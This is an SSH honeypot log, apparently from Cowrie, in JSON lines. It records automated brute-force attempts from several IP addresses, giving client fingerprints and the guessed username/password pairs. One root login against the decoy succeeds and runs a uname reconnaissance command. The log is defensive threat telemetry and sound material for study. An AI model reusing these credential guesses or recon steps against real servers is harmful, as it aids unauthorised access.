{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":35986,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc9bec93dfdc","protocol":"ssh","message":"New connection: 103.234.53.173:35986 (159.203.135.109:22) [session: dc9bec93dfdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:54.146324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:54.150180Z","src_ip":"103.234.53.173","session":"dc9bec93dfdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:54.359797Z","src_ip":"103.234.53.173","session":"dc9bec93dfdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:55.233803Z","src_ip":"103.234.53.173","session":"dc9bec93dfdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:01:56.446903Z","src_ip":"103.234.53.173","session":"dc9bec93dfdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":58004,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7d2cc938fa","protocol":"ssh","message":"New connection: 118.26.39.178:58004 (159.203.135.109:22) [session: 3a7d2cc938fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:05.519044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:05.524488Z","src_ip":"118.26.39.178","session":"3a7d2cc938fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:05.746971Z","src_ip":"118.26.39.178","session":"3a7d2cc938fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"ftp-userftp-user","message":"login attempt [ftp-user/ftp-userftp-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:06.659872Z","src_ip":"118.26.39.178","session":"3a7d2cc938fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:07.887431Z","src_ip":"118.26.39.178","session":"3a7d2cc938fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48328,"dst_ip":"10.17.0.5","dst_port":22,"session":"c526d243cb35","protocol":"ssh","message":"New connection: 195.178.110.218:48328 (10.17.0.5:22) [session: c526d243cb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:09.279538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:09.284330Z","src_ip":"195.178.110.218","session":"c526d243cb35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:09.363963Z","src_ip":"195.178.110.218","session":"c526d243cb35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:09.601987Z","src_ip":"195.178.110.218","session":"c526d243cb35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":38294,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ff50c2787d0","protocol":"ssh","message":"New connection: 185.196.10.227:38294 (159.203.135.109:22) [session: 7ff50c2787d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:10.458001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:10.462189Z","src_ip":"185.196.10.227","session":"7ff50c2787d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:10.576020Z","src_ip":"185.196.10.227","session":"7ff50c2787d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:10.683565Z","src_ip":"195.178.110.218","session":"c526d243cb35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jean","password":"jeanpassword","message":"login attempt [jean/jeanpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:11.061596Z","src_ip":"185.196.10.227","session":"7ff50c2787d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:12.177158Z","src_ip":"185.196.10.227","session":"7ff50c2787d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":53996,"dst_ip":"159.203.135.109","dst_port":22,"session":"641040ea32b3","protocol":"ssh","message":"New connection: 171.25.158.70:53996 (159.203.135.109:22) [session: 641040ea32b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:29.896828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:29.901222Z","src_ip":"171.25.158.70","session":"641040ea32b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:30.017938Z","src_ip":"171.25.158.70","session":"641040ea32b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@123456","message":"login attempt [git/git@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:30.543944Z","src_ip":"171.25.158.70","session":"641040ea32b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:31.740472Z","src_ip":"171.25.158.70","session":"641040ea32b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37766,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d76cb5ef82b","protocol":"ssh","message":"New connection: 2.57.122.208:37766 (159.203.135.109:22) [session: 1d76cb5ef82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:42.640529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:42.663982Z","src_ip":"2.57.122.208","session":"1d76cb5ef82b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:42.769725Z","src_ip":"2.57.122.208","session":"1d76cb5ef82b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:43.317941Z","src_ip":"2.57.122.208","session":"1d76cb5ef82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:03:44.508564Z","src_ip":"2.57.122.208","session":"1d76cb5ef82b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":59594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c572389fc5b0","protocol":"ssh","message":"New connection: 92.118.39.92:59594 (159.203.135.109:22) [session: c572389fc5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:03.795341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:03.799775Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:03.907098Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"parola123","message":"login attempt [root/parola123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:04.227194Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:04.476766Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:04.479982Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:04.587052Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:04.591252Z","src_ip":"92.118.39.92","session":"c572389fc5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":47428,"dst_ip":"159.203.135.109","dst_port":22,"session":"97869e4517f4","protocol":"ssh","message":"New connection: 103.234.53.173:47428 (159.203.135.109:22) [session: 97869e4517f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:16.494555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:16.498877Z","src_ip":"103.234.53.173","session":"97869e4517f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:16.712983Z","src_ip":"103.234.53.173","session":"97869e4517f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oraprod","password":"oraprod123","message":"login attempt [oraprod/oraprod123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:17.590423Z","src_ip":"103.234.53.173","session":"97869e4517f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:18.808040Z","src_ip":"103.234.53.173","session":"97869e4517f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":33884,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b833393fb33","protocol":"ssh","message":"New connection: 185.196.10.227:33884 (159.203.135.109:22) [session: 8b833393fb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:57.860359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:57.864722Z","src_ip":"185.196.10.227","session":"8b833393fb33","protocol":"ssh"}
